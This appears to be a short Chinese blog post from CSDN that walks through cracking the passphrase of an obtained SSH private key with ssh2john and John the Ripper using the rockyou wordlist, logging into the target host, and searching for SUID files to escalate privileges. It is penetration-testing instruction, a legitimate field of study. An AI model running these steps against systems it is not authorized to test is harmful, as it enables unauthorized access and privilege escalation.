在kali下破解ssh私钥并远程登录

1、获取对方的id_rsa和authorized_keys(私钥);

2、运行ssh -i id_rsa 用户名@ip,会提示输入口令

3、使用ssh2john,可将id_rsa秘钥信息转换为john可识别的信息,

chmod 600 id_rsa

ssh2john  id_rsa> isacrack

4、利用字典解密isacrack信息

zcat /usr/share/wordlists/rockyou.txt.gz|john --pipe --rules isacrack

可解密出秘钥中的口令,登录被测主机

5、查找具有root权限的文件

find / -perm -4000 2 >/dev/null

发布了157 篇原创文章 · 获赞 22 · 访问量 52万+

猜你喜欢

转载自blog.csdn.net/zhaozhanyong/article/details/105160208